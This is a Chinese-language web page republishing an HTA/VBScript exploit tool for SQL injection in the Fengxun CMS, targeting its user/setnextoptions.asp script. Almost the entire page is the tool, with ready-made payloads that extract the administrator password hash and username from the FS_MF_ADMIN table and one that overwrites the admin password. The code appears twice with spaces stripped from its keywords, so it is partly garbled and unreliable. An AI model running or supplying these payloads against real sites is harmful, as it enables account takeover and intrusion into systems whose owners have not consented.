風(fēng)訊注入exp(hta版)代碼發(fā)布
發(fā)布日期:2021-12-22 08:40 | 文章來源:gibhub
<SCRIPTLANGUAGE="VBScript">
SubWindow_onLoad
window.resizeTo450,380
window.moveTo300,300
EndSub
</SCRIPT> <SCRIPTLANGUAGE="VBScript">
FunctiongetHTTPPage(Path)
t=GetBody(Path)
getHTTPPage=BytesToBstr(t,"GB2312")
document.getElementById("url").innerText=getHTTPPage
EndFunction
</script>
<SCRIPTLANGUAGE="VBScript">
FunctionGetBody(url)
OnErrorResumeNext
SetRetrieval=CreateObject("Microsoft.XMLHTTP")
WithRetrieval
.Open"Get",url,False,"",""
.Send
GetBody=.ResponseBody
EndWith
SetRetrieval=Nothing
EndFunction FunctionBytesToBstr(Body,Cset)
Dimobjstream
Setobjstream=CreateObject("adodb.stream")
objstream.Type=1
objstream.Mode=3
objstream.Open
objstream.WriteBody
objstream.Position=0
objstream.Type=2
objstream.Charset=Cset
BytesToBstr=objstream.ReadText
objstream.Close
Setobjstream=Nothing
EndFunction </script> <title>bylcx</title>
<inputid="urlcode"NAME="urlcode"size="60"value="http://風(fēng)訊url/user/setnextoptions.asp">
<selectid="sql"name="sql"onchange=vbs:getHTTPPage(document.getElementById("urlcode").value+document.getElementById("sql").value)>
<optionvalue="">風(fēng)訊sql版注入,至于其它備份shell的語句懶得寫了</option>
<optionvalue="?EquValue=1&ReqSql=select%201,ADMIN_pass_word,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%20from%20FS_MF_ADMIN%20where%20id=1--")">暴管理員密碼</option>
<optionvalue="?EquValue=1&ReqSql=select%201,Admin_Name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%20from%20FS_MF_ADMIN%20where%20id=1--")">暴管理員用戶名</option>
<optionvalue="?EquValue=1&ReqSql=selectuser;updateFS_MF_ADMINsetADMIN_pass_word='a0b923820dcc509a'whereid=1--">更改管理員密碼為1</option>
</select>
<TEXTAREAid="url"NAME="url"ROWS="8"COLS="60"></TEXTAREA>
SubWindow_onLoad
window.resizeTo450,380
window.moveTo300,300
EndSub
</SCRIPT> <SCRIPTLANGUAGE="VBScript">
FunctiongetHTTPPage(Path)
t=GetBody(Path)
getHTTPPage=BytesToBstr(t,"GB2312")
document.getElementById("url").innerText=getHTTPPage
EndFunction
</script>
<SCRIPTLANGUAGE="VBScript">
FunctionGetBody(url)
OnErrorResumeNext
SetRetrieval=CreateObject("Microsoft.XMLHTTP")
WithRetrieval
.Open"Get",url,False,"",""
.Send
GetBody=.ResponseBody
EndWith
SetRetrieval=Nothing
EndFunction FunctionBytesToBstr(Body,Cset)
Dimobjstream
Setobjstream=CreateObject("adodb.stream")
objstream.Type=1
objstream.Mode=3
objstream.Open
objstream.WriteBody
objstream.Position=0
objstream.Type=2
objstream.Charset=Cset
BytesToBstr=objstream.ReadText
objstream.Close
Setobjstream=Nothing
EndFunction </script> <title>bylcx</title>
<inputid="urlcode"NAME="urlcode"size="60"value="http://風(fēng)訊url/user/setnextoptions.asp">
<selectid="sql"name="sql"onchange=vbs:getHTTPPage(document.getElementById("urlcode").value+document.getElementById("sql").value)>
<optionvalue="">風(fēng)訊sql版注入,至于其它備份shell的語句懶得寫了</option>
<optionvalue="?EquValue=1&ReqSql=select%201,ADMIN_pass_word,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%20from%20FS_MF_ADMIN%20where%20id=1--")">暴管理員密碼</option>
<optionvalue="?EquValue=1&ReqSql=select%201,Admin_Name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%20from%20FS_MF_ADMIN%20where%20id=1--")">暴管理員用戶名</option>
<optionvalue="?EquValue=1&ReqSql=selectuser;updateFS_MF_ADMINsetADMIN_pass_word='a0b923820dcc509a'whereid=1--">更改管理員密碼為1</option>
</select>
<TEXTAREAid="url"NAME="url"ROWS="8"COLS="60"></TEXTAREA>
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章